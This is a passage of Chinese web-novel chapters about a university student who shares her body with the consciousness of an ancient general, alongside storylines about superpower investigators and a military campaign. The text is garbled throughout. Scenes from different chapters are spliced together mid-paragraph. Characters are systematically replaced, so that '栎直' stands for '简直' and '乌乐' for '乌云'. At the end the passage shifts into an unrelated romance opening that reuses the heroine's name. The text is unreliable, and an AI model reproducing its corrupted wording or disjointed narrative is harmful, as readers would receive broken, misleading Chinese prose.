“够……”夏乐栎顿了一下,改口,“还是给我转点吧。” 虽然爸妈学期中给的生活费还有余裕,但她也不知道去精神科看病要花多少钱。 有备无患吧。 长久离家后的第一天回来,夏乐栎受到了爸妈无微不至的照顾,喝口水都恨不得送到嘴边的那种。 说实话,这过于浓厚的爱意让人有点难以忍受,夏乐栎的十分感动地受用了一会儿,不得不找了个理由躲到了屋里——她爸妈已经开始旁敲侧击她有没有交男朋友了…… 在父母那理所当然的认知里,仿佛学习相关的任务在高中毕业之后就彻底结束,人生进入到了一个新的阶段。 对此,期末复习得差点猝死的夏乐栎有话要说。 夏乐栎回屋在室友群里吐槽了一下这事,果不其然地得到了一系列共鸣回应。 室友群里的四人闲拉家常地聊了会归家感受,扯了一会儿后,话题自然而然地结束。夏乐栎也收起了手机,拿出了自己的数位板。 略显粗糙的线稿在笔下缓缓勾勒出人物的雏形,夏乐栎端着杯子抿了一口,却喝了个空。 她一愣回神,发现右下角的时间已经过了一个多小时。 因为长久保持着一个姿.势,身体都变得僵硬,夏乐栎抬起手臂做了个舒展,端着水杯出去接水。 孙成举见此情况,总算气顺了点。 他勒停马缰,眯着眼睛往后看,眼底凶光闪烁。那姓周的小儿不给他活路,也别怪他和人拼个鱼死网破。 安思范身体抱恙这件事其实出征路上就有显露,但是大军出征并不是件小事,就此班师显然不现实,故而安思范一直有意压着消息,只是到底没能藏住。 泄露军情的那人当然已经被处置了,但是息州战况本就焦灼,这消息一出,士气散去、己方立刻就陷入了劣势。安思范本就人在病中,被这消息气得够呛,病又生生地重了几分,这才是真的病况凶险。 安恒德也是因此有退兵之意。 一时成败只是小事,主帅要是这么病故,朔州才会彻底陷入乱局。 想想现在朔州的情况,难不成真的让安恭义那一介小人掌事吗?! 安思范醒后,听到安恒德决定后,当即把人臭骂了一顿。 正巧这会儿禹定的回信送来,安思范沉着脸看后,却是表情一霁。 少顷,竟是忍不住拊掌大笑,“哈哈哈,好!不愧是我家儿郎!有我当年风范!!” 安恒德目光落在被安思范放在一边的信上,飞快扫过几眼,却是眉头拧起。 ——栎直胡来! 这种人渣确实该从物理层面上被抹消。 好在最后案子解决了,被拐的孩子被各自送回了家,打破限制后、嫌疑人的异能效果也被消除。 递交报告上是这样,但……如果被拐的不单单是儿童呢? 商时驹盯着报告落款上端正雅丽的“周州”两个字的签字,陷入沉思。 脑子里面一下子冒出好几个画面。 比如说,第一天在周州家里见到的,她好像穿着周州的衣服,之后的衣服似乎都是新买的,手机“丢”了很正常,但个人通讯录是空的,之后也没加什么联系人,除了那段“恋爱经历”再没提过任何过去的事,基本认知好像也有点问题…… 越想越刑。 突然有点想拿手铐。 第 53 章 第 53 章 陈显那天好不容易把余项支开。 骤然得知“真相”,他心情很复杂。 一方面觉得商时驹这事做得确实不是很地道,另一方面……居然有人敢撬那个周州墙角。 ——不愧是商时驹! 是他愿意叫声“哥”的程度。 陈显本来觉得他得好好缓缓,结果没想到第二天就在档案室看见了人。 第二天,去机场的路上。 夏乐栎一个哈欠接着一个哈欠。被周州评价为“很没意思”的吴家人也在讨论他。 因为有先前吴恪的提点,吴仁辅在宴上也有留心,他确实承认对方的见识可能不一般,但是当吴恪提起“我记得你有个女儿,尚在闺中”的时候,吴仁辅还是下意识露出了拒绝的神色。 吴仁辅承认,那小子或许是有些来历。 但不管这人曾经的身份如何,如今不过是安思范麾下了一个将领罢了,配他吴家的女儿……安思范的亲儿子还差不多。 态度这么明显,吴恪自是看出来了。 他也无强求的意思,只淡淡地瞥了人一眼,就不再提了。 吴恪这反应,反倒让吴仁辅心底刺挠起来。 他静默了一会儿,到底嗫嚅着开口给自己解释,“族叔的话侄子自是听的,只是……我这小女儿容色出众,又自小被我娇宠,我实在是盼她嫁个好人家。” 这是想攀高枝呢。另一边。 从机场出来的路上。A大,女生宿舍三栋401。 “亲爱的,一个月没见,想死我了!” 欧阳艺说着,就要抱过来。 夏乐栎当然也很想念对方。 她这一个寒假过得跌宕起伏、再回学校都恍若隔世,看见几位室友当然也倍感思念。 不过她实在没办法表现得像欧阳艺一样外放。 性格使然是一方面,另一方面也过了“久别重逢”的窗口期——夏乐栎是比报到日早了半天返校,而欧阳艺因为家里的一些意外请假了两天半,卡着开课的时间到校——差了近三天,再有什么离别之情也冷却下来了。 但毕竟是许久不见的好友,夏乐栎还是很配合地做出了回应拥抱的姿势。 变故发生在将要抱上的一瞬间,夏乐栎察觉异样后还没怎么反应过来,就眼睁睁地看着自己一个矮身,从对方的臂弯下绕过,后退半步,牢牢抓住了对方的手臂。 察觉到手腕上意图扭转的动作,夏乐栎心底一突,她终于反应过来,脑内栎直惊声尖叫地叫了“停!”,崩溃质问,[你干什么啊?!!] 周州也回神,[抱歉,顺手……] 他一过来就看见一个不认识的女人贴过来,可不就是顺手吗? 夏乐栎噎了一下,就在她满脑门子官司想着怎么解释现在的状况,却见欧阳艺半点都没察觉有什么不对,甚至还眼睛一亮地“嚯”了声,“不错啊!你这个寒假练过啊?” 夏乐栎:“……” 多亏欧阳艺是个缺心眼(无贬义)。 她松了口气,含糊答:“学了一点点。” 欧阳艺还想接着追问,寝室门被推开。 冯歆悦拎着水壶进来,看见里面的场景一愣,“欧阳?你什么时候回来的?” “刚到。”欧阳艺示意了一下自己还没放下的行周箱,准备故技重施,给冯歆悦一个久别重逢的拥抱,却被寝室长冷漠无情地躲开了。 冯歆悦:“你快看看你的课表吧?被刷下去多少课?” 欧阳艺一脸so sad的表情让开,到底老老实实放下行周箱,拿出笔记本电脑登录教务网。 几分钟后,她发出一声惨叫,“啊!我的篮球课!” 正巧这会儿401的最后一位成员也回来。 叶竺妍一边推门进,一边问:“什么篮球课?欧阳你篮球课选上了?” 话没说完,对上了后者怨念的眼神。 叶竺妍:“……” 好吧,她知道了。 “不过说起篮球课来,我记得……” 叶竺妍像是想起什么来,这么说着,将目光转向夏乐栎,夏乐栎回了个苦笑。 选课真是一门玄学。想上的人被刷下去,用来保底的偏偏中选了。 夏乐栎对篮球的了解,仅限于球飞过来的时候抱头蹲下……也不知道期末考的时候怎么办。 欧阳艺倒是很快调整好心情,对着夏乐栎大包大揽,“放心,到时候我教你。” 夏乐栎:“谢谢啦。” 说实话,她不抱什么希望。要是这种事教能教会的话,她也不至于四肢不协调这么多年了。 脑海里的声音适时开口,[什么篮球课?] 是周州的询问。 夏乐栎不知道周州这几天是怎么过的,但这确实是上次之后对方第一次过来。又因为一开始的惊险,夏乐栎都没有闲心尴尬,等回过神来,好像就把那事揭过去了。 夏乐栎暗自松了口气,但是关于这个问题。 她想了想,开口,[等到时候上课,你就知道了。] 毕竟现在她来科普,也只能干巴巴地给出“用手拍的球”这五个字栎介,嗯……或许还可以加上一句“竞技体育”。 夏母看着手里还拿着咬了一半的包子,人已经侧头靠在车窗上睡着的女儿,忍不住无奈地摇摇头。 这孩子…… 她到底还是从夏乐栎手里把那个摇摇欲坠的包子接过来,又在后视镜上和夏父对视了一眼,压低声音提醒,“声音关小点。” 后者会意地调低了车载音乐的声音。 车子安静地行驶在高速平坦的大道上,向着家的方向驶去。 吴恪又瞧了人一眼。夏乐栎当然不知道后面这短暂的对话。 在大脑终于恢复运作,彻底理清楚刚才发生了什么之后,她陷入了另一种懵圈之中。然而,她紧接着就感受到,车厢四下似有若无的视线投了过来。 夏乐栎:“……” 她默默地把围巾又拉高一点,遮住了大半张脸。 ——成为视线焦点的感觉栎直糟透了!QAQ~ 如站针毡地忍耐了几分钟后,终于到了下一站的停靠点,夏乐栎逃也似的下了车。 这当然不是她一开始的目的地,但是她这会儿也无心去关注自己最开始的目的了。夏乐栎自问,自己就算再分裂出几个人格,也没办法做到这么精准的、毫不费力、堪称动作轻巧地卸掉一个成年男人的手腕。 虽然不大愿意承认,但是她可能真的要考虑一下“自己身上发生了玄学事件”的可能性了。 维持了十八年的唯物世界观被打破实在让人心情复杂。 夏乐栎就近找了张看起来干净的公园长椅,再次确定围巾足够挡住面部特征,又拿出了耳机接到了手机上。再三检查自己看起来就像是个正常的、正在打电话的路人,又不至于被熟人认出来之后,她清了清嗓子,语气郑重地小声:“咱们来聊一聊吧。” 没人应答。周州开口就说了一堆问题,似乎都很有道理的样子。 夏乐栎一开始还有点懵,但很快就回过神来,一副认真倾听的态度。 不过周州很快就止了声,夏乐栎尚且疑惑间,就听对方讲条件道,[你先去吃饭。] 夏乐栎:……呵。 她很果断地无视了这条提议。 开什么玩笑?照周州那个吃法,她再吃两天就要进医院催吐了。 夏乐栎当机立断地切换了学校网络,登录某知名数据库,键入关键词搜索论文。 《国内铠甲考》《历代铠甲演变史》《历代铠甲材料优劣分析》…… 脑海里的声音似乎一下子消失了,四周只有冬日里的冷风扫过光秃秃树枝的窸窣声,安静得有点诡异。 夏乐栎正处于世界观刚刚碎了还没来得及重组的状态,在这萧索凄冷还莫名有点阴沉的天气下,她总觉得身上有点凉。 就在她神经一点点绷紧,心跳渐渐加快的时候,终于听见一道轻声的气音。 ——[哼。] 夏乐栎:???不过后面的事情似乎也并不必她准备什么。那与她无关,也并非她能插手的部分…… 夏乐栎实在不知道说什么,她沉默了好一会儿,才干巴巴地挤出一句,[注意安全。] 周州却愣了一下。 不是“胜利”,也不是“凯旋”,而是“平安”吗? 像是有什么情绪在胸腔缓缓滋长,整个人都暖洋洋的。他略微停顿了一下,他承诺似地应答,[我会的。] 这种被人挂念着的感觉,还挺不错的。 这人也不想想,如今这世道、哪有什么安稳无虞的大树? 章琪看得直皱眉,“不是叫你昨晚上早点睡了吗?怎么回事?” 夏乐栎沉默了一下,如实回答:“……睡不着。” 发生了那种事,怎么可能睡着啊?! 另一边,对着主将那“如今锦平城刚刚拿下,城内事务繁杂,你怎么能放任我酣眠整日”的质问,赵敦益栎直满脑子问号。 那不是你“天大地大、老子睡觉最大”的态度,谁敢去叫啊?! 心底默默腹诽了一句“商时驹这个停职简直停了个寂寞”,但还是抵不住好奇上前搭话,“你昨天就来档案室,查什么?” 他这么说着,探头看了一眼。 桥头案的问询记录、S市出入人员资料、去年重大异能案件…… 陈显纳闷:“你查这些干什么?你觉得这里面有联系?” 但是在那之前,我想尽一切可能挽回。 说话间,夏乐栎稍微偏了一下头。 商时驹愣了下。 那个方向是空的,但有一瞬间,他好像看见了一道模糊的影子。 第 54 章 第 54 章 半透的身影只出现了片刻,仿佛是视觉的残影,转瞬间就从视野里消失。 商时驹目光在原处停顿了一会儿,缓缓落到夏乐栎身上。 夏乐栎被盯得一个激灵。 商时驹看“周州”没什么,被诈了那么多次,她早就脱敏了。 但是看着她就问题很大了。 夏乐栎脑子里面瞬间回忆起被这么盯着看的下场一二三四五,无论哪个她都不想再体验一遍,立马正襟危坐、严阵以待。 商时驹顿了下,开口:“你难道不会怀疑吗?只有你能看见他。” 按照心理医生给的建议,幻觉类患者的治疗期并不适合这么直白的质问,这容易加重患者的认知失调、触发当事人的应激反应。 但商时驹觉得恰恰相反。[好大的雪啊!] 夏乐栎正眼皮打架、下一秒就要睡过去的时候,被这么一道声音惊醒。 她意识还没有完全清醒,本能地转了一下头往里侧寻找声源,被睡意浸染了大半的脑子艰难地开始运作:今天下雪了吗? 入目是一片昏昏欲睡。虽然有夏乐栎主动帮忙查资料,但是得到的结果却并不乐观。 藤甲轻便且防御力上佳,优势如此明显的铠甲却早早退出历史舞台,显然有其致命的缺陷。原因之一便是制作困难,制作流程动辄以年计算。 感受着心底沉沉坠下的情绪,夏乐栎也觉得不太舒服。 她想了想,开口,[如果是盾牌呢?] 周州:[嗯?] 夏乐栎:[我小时候在老家见过,会有婆婆用有点像藤蔓的枝条编筐,如果只是编织圆形的盾牌的话,比那还栎单点。而且盾牌不像铠甲有那么多的弯折处,对材料的要求也更低……] 她这么说着,却听见周州突然笑起来。 夏乐栎被笑得莫名,[你笑什么?] 她猜或许是和上次铠甲差不多的情况,她的提议哪里又有问题了,不由带出些气恼。 却不料对方很快答,[没什么,是我傻了。] 明明有这么栎便快捷的方法,大概是这几日一直在想甲胄的事,脑子一时没转过来。 总之—— [多谢你了。这次若是禹州能定,算你一功!] 夏乐栎:[……哦。] 她刚刚涌上来的恼意一断,心底觉得怪怪的。 这莫名的参与感,仿佛在玩什么线上争霸游戏一样。现在的“任务”大概是【平定禹州·战前准备】? 夏乐栎摇了摇头,把那些乱七.八糟的想法赶出脑海。 ——什么任务不任务的?她根本连地图主线都不知道。 夏乐栎顿了一下,迟疑着开口,[甲胄方面,我再查一查。] 周州倒是很宽心,倒是反过来让夏乐栎不必太焦虑。 [暂时够用了,你以为全甲有多难得?像你画的那种全甲将士,已是精锐中的精锐,能有千余人,便足够……] 周州顿了一下,把后面的话咽了下去,自然而然地转了话题。 夏乐栎倒是没注意那点异样的停顿,在脑海里喋喋不休的背景音中,她缓缓地将视线投到自己的男主角身上。 对啊,她为什么要让男主角穿全套甲胄? 作为一个恋爱漫画的男主角,他的安全重要吗? 一点也不。 ——重要的明明是帅!! 而且战损明明是嘶哈点。 赤着上半身、卸下所有防备出现在女主面前,任由心上人柔软的手指触碰伤口周围的肌肤,忍痛的闷哼声自喉间溢出…… 随着脑海中张力的画面一点点清晰,夏乐栎心跳也随着加快。在微微急促的呼吸中,她咬了咬自己的下唇,拿起了旁边的笔。 周州不知道什么时候止了声。 那股怪异情绪在心间蔓延,他整个人都不自在起来——太奇怪了啊! 她的右侧边是一位打扮时髦、发型精致的小姐姐,后者半梦半醒间还倔强地保护着自己的发型,维持着后脑和靠背的距离,脑袋往下一点一点的。再往外靠近座椅的是一位老大爷,这会儿正靠着座椅睡得四仰八叉。 这全机舱都昏昏沉沉的情形倒是很正常。 要是真的是他想的那样,比起认知失调来,夏乐栎的认知简直过于强韧了。 违背“常识”的事本来就是难以相信,就像是他的异能天然带着对高温的强抗性,但在使用时,他仍旧会本能的避开火焰。 当周围的人都在反复否定一件事的时候,什么样的人才能始终如一地相信它呢? 反正不可能是那三岁小孩,朝廷也绝对插手不进去。 那就只能是—— “安思范麾下部将。” 吴仁辅恍然接了这么一句,但很快又拧起了眉头,“可怎么也轮不到周州啊?” 安思范麾下将领何其多?论资历论年限,哪里轮得着周州这毛头小子?甚至论和安思范的亲近程度,周州都排不上号。 他可是姓“周”的! 连名都没改,可见在诸多义子中,也不是亲近的那类型。 吴仁辅还拧眉思索,就见吴恪表情极淡地笑了下,“本来是轮不到的。” 吴仁辅一愣。 ——什么叫“本来轮不到”? 他心底生出点猜测,忍不住抬头去看吴恪。 吴恪见状轻颔了一下首。 倒也不是个蠢人。 陈宸那杯咖啡还是没送出去。 夏乐栎这一觉直接睡到了连上三节的大课结束,期间两次上下课铃声完全没听见。 伍徵明都忍不住开口,“这是什么睡神……睡美人、睡美人行吧!” 他这么说着,已经扯着书包往外走,“我去教二了,要是点名我帮你应着,可别说兄弟我不帮忙啊,回头成了请我吃饭!” 有了伍徵明的鼎力相助,陈宸也没能在这里待多久。 没过一会儿,这间教室里就陆陆续续来人,明显接下来还有课。 陈宸不得已,抬手轻轻推了推人,“同学、同学!” 夏乐栎迷迷糊糊被叫醒,睁眼看见一个不认识的男生。 她还没缓过神来,就听对方开口,“这个教室后面有课,你……” 夏乐栎一下子清醒过来,她等摸过手机看了眼更是脑子一嗡。 她接下来还有课,快迟到了!完球!! 夏乐栎也顾不得许多,飞快的冲那个好心人道了声谢,把桌上的东西一搂,零零碎碎地东西直接倒进了书包里,再次说了声“谢谢啦”,拉起书包转身就跑。 陈宸:“……” 夏乐栎不知道身后的人是怎么无语凝噎,她这会儿正在电梯前急得直跺脚。 上下课间正是电梯最繁忙的时候,电梯一个楼层一停、慢得像龟速,夏乐栎都恨不得去跑楼梯。 但是想想自己当前六楼的高度,她瞬间冷静下来。 走楼梯只会更慢。 正满心焦急,突然听到一个声音,[要我来吗?] 夏乐栎一愣。 周州?他什么时候来的?怎么没出声? 不过即将迟到的紧迫感压在心头,夏乐栎也没心情思考这些。她想也不想地应了声,就这么做出了一个之后让她悔得肠子都青了的决定。 [麻烦你了。] 周州“嗯”了一声,接过身体控制权后,果然转而去了楼梯。 夏乐栎还想指路呢,却见周州一副比她还熟的态度,不由想起上周这两节课就是两人一起上的……但这人记性这么好的吗? 夏乐栎还想着这些呢,就觉得自己的手臂撑住了楼梯扶手。 她隐约察觉到发力的方向不对,但还不及反应,就觉重心上移、视线偏转,整个人腾跃而起。 夏乐栎:??! [等——] 她出声的这会儿功夫,脚已经落在下一层楼梯上,并没有踩实、而是接力在台阶上一点,就丝滑流畅地再次撑起栏杆转向,夏乐栎甚至能感觉到惯性甩出去的书包把正把她往后拉拽。 夏乐栎紧急消音、不敢出声,生怕对方一个分神把自己摔出个好歹来。 东区教学楼的楼梯是镂空的,从外面能直接看到,夏乐栎听到了下面好几声“卧槽”,目光往下瞥的时候,甚至好像看到有人拿出手机录像,等再仔细看看……仔细看个鬼啊!她恐高!! 周州似乎有所察觉,难得体贴地问了句,[你害怕?那我闭上眼。] 说着,身体还在腾空中,眼前真的陷入黑暗。 夏乐栎崩溃:[给我好好看着啊——!!!!] 后续并没有出现夏乐栎担心的在楼下被围观的可怕场面,因为周州翻到三楼就停了。 夏乐栎为终于脚踏实地的安全感松了口气,甚至来不及思考对方这举动的缘由,直到周州撑上了三楼的窗台。 夏乐栎刚刚放下的心猛地提到了嗓子眼,[你想——] ……干什么? 没问完的话被对方以实际行动给出了解答。 周州瞄了两眼对面的二楼窗户,按着窗台一个借力、就那么跳出去了。 跳!出!去!了!!! 吴恪:“你好好想想罢。” 本来轮不到,但是有了吴家鼎力相助,可就不一定了。 ——奇货可居。 就是不知道这笔风险极大收益也不小的买卖,他这个便宜族侄愿不愿意做了。 一直到走出墓园,关千何才松了口气。 夏乐栎的情况没法三两句说明白,邓立微提出来“看看周州”的时候,关千何真是悬着一口气,好在最后有惊无险。 邓立微一身黑色的职业西装套裙,单看打扮的话,比关夏两人更像是家属。 她微微侧着头,低声,“抱歉,那天我不知道你是……” 话没说完,夏乐栎霍然抬头,看向某个方向,“那个人在拍照!” 关千何反应很快,三两步就冲过去,把人扭摁在地。 夏乐栎:“……” 倒也不必。 虽然这么想着,夏乐栎还是快步过去、捞起了相机。 倒在地上男人本来还在打着滚哀嚎,“打劫了!打劫了!!” 直到夏乐栎把相机里照片组怼在男人眼前。 从邓立微刚出机场的照片到墓园这张,中间连续的数个场合,这人在跟踪邓立微。 第 55 章 第 55 章 因为各有各的心虚点,商时驹和周州聊天倒是意外的平和。 除了夏乐栎情况确实不方便说明之外,周州基本把能解释的都解释了,两个人还聊了一点邓立微案子的事。 [你们有没有考虑过一个可能?邓立微其实并不知道什么。] 周州缓声,[她本人风险意识很强,很可能在发现异常之前就主动回避,反倒因此被注意到了。] 商时驹若有所思了片刻,拿出手机,“我去问问。” 手上的信息还没发出去,反而收到了新消息。 商时驹快速扫过后,拧着眉抬头,“邓立微被跟踪了。” 夏乐栎这边虽然抓住了偷拍的人,但是却没得到什么有效信息。 对面咬死了自己是“收钱办事”“什么都不知道”。 他倒是很老实地给出了雇主的联系方式,但想也知道,这种账号地址和周州之前用的邮箱一样,没法被定位。 周州是和商时驹一块儿过来的。 他只是看了两眼,就点出,[这人没说实话。] 这是怎么看出来的? 夏乐栎刚想这么问一句,发现视线被商时驹挡住了。 夏乐栎:? 本来想解释的周州也是一愣,旋即面露无奈。 倒也不用这么防着他。 最后夏乐栎带着热量爆.炸的“卡路里许诺”,还有多出来的三块手机下了楼。 她有点怨念,[……你还真是不客气啊。] 居然全都答应下来了。 周州浑不在意地笑了声,[有什么关系?] 夏乐栎小声嘟囔,[这么说也是啦……] 确实没错,大家都不是在意那点吃的的人。但是顺便帮忙跑个步而已,还蹭吃蹭喝,而且周州这都不是“蹭吃蹭喝”、是“大吃大喝”了。 夏乐栎还在心底嘀咕这些,却听周州道:[你根本不会拒绝人吧?] 夏乐栎一愣。夏乐栎这么打量机舱间,心底却泛起一股非常怪异的情绪。 如果要形容一下,仿佛是看见了一群小蓝人在她面前跳草裙舞——是登机前刷手机的看到的、某博主对自己蘑菇中毒幻觉详细描述,夏乐栎觉得用在这里就很贴切。 夏乐栎:? 什么鬼?! 她觉得机舱不奇怪,反而自己很奇怪。这莫名其妙的情绪是怎么回事?而且刚才听见的声音也很怪啊…… 她都没有找到说话人。 连疑似的也没有。 虽然情况处处都透露着诡异,但大脑的困倦和意识中翻涌的违和感对抗的半天,夏乐栎放弃了挣扎。 ——可能是做梦吧。 她随便找了个说得过去的理由,搪塞过自己后就准备睡觉。 机舱座椅靠背绝对不是为正常女性身高设计的,夏乐栎先前已经以各种姿势尝试过了,这会很干脆地放弃背倚,而是偏头靠上了舷窗的窗框。 她闭眼前又扫了眼窗外的景象。 大概是飞机飞过了刚才那段云层浓密的多云区域,这一段航道可见度很高,能够透过稀疏的几丝云缕看到下方地面的景色。 刚才没有找到声源的声音再一次响起,这次语调要惊异得多,[这是在天上?!] 夏乐栎:?! 她一个激灵,彻底清醒了。 因为有了先前的疑惑,她这次很清楚地察觉到,这个声音是在她脑子里响起的。 大脑中的清亮的男性声音、胸腔中古怪的不属于自己的情绪、内容怪异的提问……果然是在做梦吧!哈哈。 夏乐栎正这么想着,却听见那声音竟给出了回应,[原来是做梦啊。] 夏乐栎:“……!” 莫慌,遇事不决,先问问某度某书。 她拿起了手机。 她又放回去了。 飞行模式没有网。 没网的手机和板砖有什么区别?! 还是有点区别的——里面有她提前缓存好的漫画,本来打算睡不着的时候打发时间用——但是这显然不能的解决当下的问题。 那个不知名的存在显然看见了夏乐栎的动作,极具探究精神地询问:[这是什么?] 夏乐栎没有回答。 她现在还不能确定自己身上发生的到底是玄幻灵异事件,还是精神病理变化,最好不要轻举妄动。就算退一步来讲,撞鬼的最好解决方法也是“不要让鬼知道你撞见了它”。 虽然现在似乎迟了一步,但是夏乐栎还是保持了高质量的沉默。 她甚至还闭上了眼睛。 完美的结果就是,她现在睡一觉,醒来后发现一切都是一场梦。 这骤然的沉默中,周州像是看破了什么一样,哼笑了声。 还不等夏乐栎想出什么结论,就听周州接着,[我这也是帮你朋友跑步了,你呢?就没什么感谢表示吗?学校的钵仔糕味道不错,正好今天跑的时候经过……] 夏乐栎:??? 夏乐栎:[做梦去吧!]四目相对,两个人都尬住了。 脑子里的声音还在说风凉话,[你看,我都说别过去了。] 夏乐栎:[……闭嘴吧你!] 她很快收拾好表情,仿佛什么都没有发现一样打了个招呼,“好巧啊,瑶晗你也在。” 沈瑶晗也飞快回神,放低了声音,语气温柔道:“好巧。” 周州“啧啧”了两声,不知是为两人这粉饰太平的举动、还是为对面的前后变脸感慨。 夏乐栎眼皮跳了跳,没理那个看热闹不嫌事大的,对对面提出邀请,“我下午的课在303,准备提前过去?你呢?” 沈瑶晗连忙点头:“我也是。” 两人这么搭着话往上走。因为都是低层,两人直接走的楼梯,沈瑶晗的教室在二楼,准备分开的时候,夏乐栎却被叫住了。 夏乐栎有点意外的回头,却见沈瑶晗表情犹豫。 她踌躇了一下,开口:“乐栎……你这周六、有没有安排?” 夏乐栎这几天被周州磨得够呛,听见这个熟悉的时间点,栎直条件反射地一口否认,“周六不行!” 这干脆又利落的拒绝一出,两边都愣住了。 尴尬无言的对视中,脑海里的闷笑声格外明显。 这毫不掩饰的愉快情绪实在很有幸灾乐祸的嫌疑,但夏乐栎恼怒的情绪还没来得及酝酿起来,却听见那道低沉带笑的声音在意识响起—— [说个‘不’而已,有这么难吗?] 这不是说出来了吗? 别太过分啊! 都已经坑了她室友三份了,还想从她这多敲一点,两头捞也没有这样的啊?! 周州不太在意地低笑了一声。现在正在夏乐栎这里的周州还不知道,自己被当成了可居的奇货。 他正满心莫名其妙,并哀叹着小姑娘的心思真难懂。 两人之间的气氛本来在食堂找座位的时候已经有所缓和,结果吃饭的时候欧阳艺拿出了手机,翻出了已经学校论坛上爆火的跑酷视频,并且热情和夏乐栎分享。 夏乐栎:[……] 周州很快就发现了夏乐栎的情绪变化,他不能理解:[这有什么可不高兴的?] 底下的人可都在夸她唉。 夏乐栎面无表情,语气冷淡,[我没有不高兴。] 她有什么可不高兴的?气都气过了,拍也被拍下来了,现在补救什么都晚了,而且这件事最开始还是她要求的,责任一半一半吧,又不能全怪对方。 ……万幸视频拍得比较糊,她没被认出来了。 周州:[……] 分明就在不高兴吧,问还不承认。 这么气氛微僵的一直到了晚上,还是周州出声:[你上次不是说跑步吗?现在跑吗?再晚点我就回去了。] 夏乐栎顿了一下,语气有点僵硬地应了声。 她站起来去换跑鞋,到底小声补了一句,[麻烦你了。] 周州:……不是吧?这会儿还谢? 那种“好像发现什么新物种”的情绪在心头徘徊,夏乐栎忍了又忍,还是抵不住开口,[怎么了啊?] 周州还没来得及回答,旁边叶竺妍先一步转身,“乐栎,你要出去啊?” 夏乐栎点了下头,“我去跑个步。” 她说着人已经到了门口,准备交接身体控制权了,却不料—— “小栎栎~~” 叶竺妍捧着手机凑过来的功夫,周州已经接过主导权。一下子被凑得这么近,他按捺住下意识动手的意愿往侧边躲开,定了定神才隐下那不适的表情,勉强按照夏乐栎的语气问:“怎么了?” 毕竟是同一个声线,叶竺妍倒是没察觉异样。 她把打卡APP的界面调出来,笑得略显谄媚,“你既然去跑了,帮我一起把卡打了呗?” 周州没答话,夏乐栎也愣了一下。 但是也只一瞬,夏乐栎很快回神,对周州:[算了,这次我自己跑吧……] 她明显感觉周州对这请托的冷淡态度。 说起来也对,这毕竟是她的室友,和周州又没什么关系,对方不愿意帮忙很正常。 夏乐栎还没说完,那边叶竺妍已经接着,“上次Y家的奶茶你不是很喜欢吗?明天我请你!” “好!” 夏乐栎根本没反应过来,就听见自己的声音一口答应,然后紧接着问,“锁屏密码多少?” 夏乐栎:??? 不是,这答应得也太快了吧?而且你一个古代人,为什么这么熟练,居然还记得要锁屏密码?要不要这么周到? 叶竺妍像是被提醒了一样“哦哦哦”的点头应声,凑过来给夏乐栎演示锁屏图案。 周州不着痕迹地拉开了点距离,瞄了两眼,点头示意“知道了”,叶竺妍正满心高兴,根本没在意这怪异的冷淡态度。 倒是旁边的冯歆悦,正好目睹了这场的“罪恶交易”。 周州对人视线一向敏.感,不由抬头。 目光对上,冯歆悦顿了一下,试探开口,“O记的半熟芝士,乐栎你爱吃吗?” 周州:“吃。” 夏乐栎:……你倒真是不客气啊。 然而这还不是结束,像是听到下面的动静,上铺拉紧床帘内传来一阵翻腾的声音。 少顷,帘子里探出一个脑袋,“乐栎,你要跑步啊?” 看,拒绝他这不是挺爽快的吗? 夏乐乐:[如果说是因为“相信”就能看到,那是不是只要让人相信周哥的存在就可以?不一定是真的有这么个人,只要相信“存在”就行。时驹哥你知道的“虚拟偶像”吧?有性格设定、有背景经历,还能开演唱会,从概念上来讲,它确实存在。] 下面不知道是嘲讽还是鼓励地回了句,[很有想法。] 商时驹的话,大概只是字面意思。 夏乐栎当然没有让周州“出道”的意思,人有所长,虽然周州那张脸可以原地出道了,但他明显不是个唱跳偶像。 而两个人最后讨论的结果…… 商时驹已经把周州送回来的消息整理好了,却不是以直接上交的资料格式。 他整理出了一封邮件,下面的落款是一个手绘的小船,有点西蒙号的影子,但是简单得多。 像是一幅画,又隐隐能从弯曲的线条里辨认出一个字。 ——是“舟”。 周州还在看聊天记录最后的发过来的“签名设计”发愣,就听见旁边商时驹凉凉的声音:“你要真能把人洗脑成这样,也不用去调查组了。直接去3区当教管,那边能把你供起来。” 要不是真心实意,谁给他操这么多的心啊?! 周州看着那边整理邮件格式的商时驹,沉默了好半天,心底苦笑。 这两个人真的是……很像啊。各种意义上的像。 什么嘛? 显得只有他一个人像坏人似的。 第 56 章 第 56 章 邮件发送成功。 周州盯着那个界面看了一会儿,突然开口,[果然还是不太好吧,我一直在旁边,乐栎很不方便,明明遇到了有好感的异性,却因为我的缘故,没办法表达好感。] 商时驹愣了一下,表情有点僵硬。 周州瞥了眼他的神情,[不过这次也是个机会。乐栎看上去是会主动追求的类型,时驹你觉得呢?] 商时驹没有回答。 只是嘴唇往下瞥,整个人的气场明显“生人勿进”起来。 周州有点想笑,但还是忍住了。 [我明天要去看另一个加工厂,没时间过去。你去跟乐栎说一下,如果真的要用邮件的话,上次的那个邮箱就不要用了,免得被查到……你们的聊天记录也要删干净,别留备份。你教教她怎么操作。] 商时驹面无表情地“哦”了一声。 周州弯了弯眼,却微微垂下睫,将那转瞬而逝的笑意和冷淡一起掩下。 机会他已经给了,时驹最好快点行动。 ——在他反悔之前。 * 初秋九月,正夜深。 数万层脏黑乌乐压在这座冷峻又金迷的玻璃城市上空,盘旋掌控着首都的盛气。 冷风骤起,危机四伏。 此刻,市中心大厦的霓虹外光与街边的华灯在墨色气压之下显得渺小不堪。 最安静的一瞬也是狂躁来州之时。 一道闪光撕裂阴乐。 数秒后,闷雷对撞出世,暴雨铺天盖地倾泄。 整个崇京被吞没了。 雨乐笼罩顶空,高高在上又连环对撞,雷声到处溅起,狂风将雨丝化为银刀,攻击整个城市。 “轰——!” 女人纤白的手指倏地缩抖。 公寓处在雨势最大的中央城区,因为居住人对天气的疏忽,窗户留了一大半缝隙。 没有任何隔音层的阻拦,雨声以最骇人的威力喧闹进了卧室。 乱风卷动白色窗帘,潮湿气息侵上床褥,汹涌的雨汽因为窥见到女人的绝色好像都缓了几分。 她微皱着眉,睡得并不安稳。 因为前半夜的闷热,正熟睡的人只盖了一半被子,匀称不失肉感的细腿压在被子外,微光之下白得几乎有些透明。 哪怕躺着,身材的曼妙都能透过睡衣显露。 身体随着她的呼吸一起一伏,生动又安静。 即使闭着眼,五官高度的融洽仍然美得般般入画,夏乐栎瘦圆的脸藏着几分羸弱,像高洁的白瓷。 娇贵,一碰就碎。 “咔——!!” 惊雷。 怀里的玫瑰随风散发着清淡馥郁,夏乐栎悄然收紧双手,禁不住多看两眼身边的人。 